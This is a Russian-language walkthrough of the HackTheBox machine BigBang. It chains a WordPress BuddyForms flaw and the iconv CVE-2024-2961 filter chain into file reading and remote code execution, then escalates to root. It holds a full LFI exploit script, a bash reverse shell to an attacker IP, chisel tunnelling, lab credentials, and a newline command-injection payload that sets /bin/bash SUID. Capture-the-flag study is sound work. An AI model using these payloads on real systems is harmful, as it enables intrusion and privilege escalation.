Bigbang Hackthebox Writeup

Описание изображения

HTB machine link:

https://app.hackthebox.com/machines/BigBang

Тачка в этот раз просто жесть конечно)

Вот для сравнения рейтинг сложности этой (напомню, что всего лишь hard) машины и трех последних инсейнов.

Описание изображения

Описание изображения

Recon Ссылка на заголовок

Стандартно, начинаем с этапа разведки

Описание изображения

При попытке зайти на 80 порт по IP, срабатывает перенаправление на blog.bigbang.htb

Описание изображения

Добавляем записи в /etc/hosts

echo "10.10.11.52 blog.bigbang.htb" | sudo tee -a /etc/hosts
echo "10.10.11.52 bigbang.htb" | sudo tee -a /etc/hosts

Сам блог поднят на wordpress

Описание изображения

Описание изображения

Запускаем wpscan. Это сканер с базой данных уязвимостей именно под эту CMS.

wpscan --url URL -e ap --api-token API_TOKEN

Он выдал довольно много разных CVE, но самая привлекательная пожалуй эта

Описание изображения

Описание изображения

И у нас на сайте даже форма загрузки файлов под нее есть

Описание изображения

В слезах идем читать статью по небезопасной десериализации https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8

Описание изображения

www-data Ссылка на заголовок

После нескольких минут пихания кавычек я пришел к выводу. что мы можем добавлять комментарии, загружать изображения и GIF-файлы, но не можем загружать PHP-файлы. Однако это можно обойти, добавив несколько magic bytes в заголовок файла и получить LFI (к этому придем чуть позже).

А пока изучим загруженные файлы, которые можно посмотреть тут:

http://blog.bigbang.htb/wp-content/uploads/2025/

Описание изображения

Кстати если скачать фотку, то можно увидеть, что не просто PNG. Тут есть что-то типа дополнительной фильтрации данных. Для лучшего понимания помогла вот эта статья:

https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

В которой кстати есть PoC

https://github.com/ambionics/cnext-exploits

Эксплоит использует старую уязвимость в функции iconv из двоичного файла libc. При попытке преобразовать метод кодирования, например UTF-8 или что-то подобное, в ISO-2022 CN EXT может произойти переполнение на 3 байта. В сочетании с некоторыми особенностями PHP и ошибками в BuddyForms (наш уязвимый плагин Wordpress) это приводит к эксплойту, который может передавать данные в PNG-файлы, что в конечном итоге позволяет получить RCE.

Осталось всего лишь понять как он работает.

Описание изображения

Описание изображения

Выглядит как LFI. Автоматизируем ее для удобства.

Получилось вот это:

python3 bigbang_lfi.py /etc/passwd
import requests
import sys
import time
import json

if len(sys.argv) != 2:
    print("Usage: python LFI.py <file_to_read>")
    sys.exit(1)

file_to_read = sys.argv[1]

url = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
}

data = (
    "action=upload_image_from_url&id=1&accepted_files=image/gif&url="
    f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={file_to_read}"
)

try:
    response = requests.post(url, headers=headers, data=data)
    if response.status_code == 200:
        result = response.json()
        if result.get("status") == "OK":
            file_url = result.get("response")
            if file_url.endswith(".png"):
                print(f"PNG URL: {file_url}")
                try:
                    file_response = requests.get(file_url)
                    if file_response.status_code == 200:
                        print("File Contents:")
                        print(file_response.text)
                    else:
                        print(f"Failed to retrieve file. Status code: {file_response.status_code}")
                except Exception as e:
                    print(f"An error occurred while fetching the file: {e}")

        else:
            print("Error: Status is not OK")
    else:
        print(f"Error: Received status code {response.status_code}")

except Exception as e:
    print(f"An error occurred: {e}")

Скрипт отправляет POST-запрос, в котором мы используем цепочку преобразований php://filter, включающую в себя кучу вызовов convert.iconv, что приводит к CVE-2024-2961

Описание изображения

Описание изображения

Жаль только, что это не очень полезно, так как не позволяет нам получить RCE. Думаем дальше

Если коротко, то теперь нам нужно внести изменения в удалённый класс, чтобы извлечь /proc/self/maps, удалить из файла магический байт GIF, затем прочитать адрес кучи PHP и полное имя файла libc. После этого скачать его, чтобы извлечь адрес system(). Снова используя bigbang_lfi.py, выяснить, что нам нужен именно этот файл: /usr/lib/x86_64-linux-gnu/libc.so.6. Установить его к себе и изменить локальный путь ELF на путь установки.

wget https://www.pentestnotes.ru/images/hackthebox/season7/BigBang/libc.so.6
wget https://www.pentestnotes.ru/images/hackthebox/season7/BigBang/bigbang_rce.py

Эксплоит может сразу не запуститься, нужно чуть пошаманить

sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
pip install ten
python3 bigbang_rce.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1"'

Получаем шелл

Описание изображения

nc -lvnp 4444

Описание изображения

Итак, мы www-data

User flag Ссылка на заголовок

Я знаю, что у wordpress по умолчанию есть файл конфигурации wp-config.php. Попробуем прочитать его

cat ../wp-config.php

Из него узнаем, что на 172.17.0.1 локально работает база данных MySQL.

Можем пробросить порт с помощью chisel

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_darwin_amd64.gz

Сервер запускаем у себя

chisel server -p 8000

А клиент перекидываем на захваченную тачку

./chisel client 10.10.xx.xx:8000 R:3306:172.17.0.1:3306
mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p
SHOW TABLES;
SELECT * FROM wp_users;

Получаем хеш пароля пользователя shawking.

Брутим, подключаемся и лутаем флаг

Описание изображения

Shawking creds         
shawking:quantumphysics

Root flag Ссылка на заголовок

После запуска LinPEAS и небольшого рекона я обнаружил на сервере другого пользователя - developer и базу данных Grafana, расположенную в /opt/data.

Описание изображения

Также, при выпонении netstat -a можно увидеть открытые порты. Из интересного для себя отметил 9090 и 3000

Описание изображения

Пробрасываем себе порт 9090 и смотрим что там

ssh -L 9090:127.0.0.1:9090 shawking@bigbang.htb

На первый взгляд выглядит пустовато

Описание изображения

Но дирсерчем можно найти существующие эндпоинты

Описание изображения

Описание изображения

Описание изображения

И обычным брутфорсом узнаем пароль от девелопера

curl -X POST -v 127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-d '{"username":"developer","password":"bigbang"}'

На выходе получаем JWT Token

Описание изображения

На самой тачке кстати пароль такой же

Описание изображения

developer:bigbang

Эндпоинт /command оказался уязвим к command injection в параметре output_file с использованием символа новой строки (\n).

Напишим простой кодик для эксплуатации:

import requests

url = "http://127.0.0.1:9090/command"

headers = {
    "Host": "127.0.0.1:9090",
    "User-Agent": "curl/8.10.1",
    "Accept": "*/*",
    "Content-Type": "application/json",
    "Authorization": "Bearer TOKEN"
}

payload = {
    "command": "send_image",
    "output_file": "foo \n chmod 4777 /bin/bash"
}

response = requests.post(url, headers=headers, json=payload)

print("Status Code:", response.status_code)
print("Response Body:", response.text)
python3 script.py
/bin/bash -p

Теперь мы можем прочить root flag

cat /root/root.txt

Описание изображения

Тачка огонь, ставлю 12 оставшихся нервных клеток из 10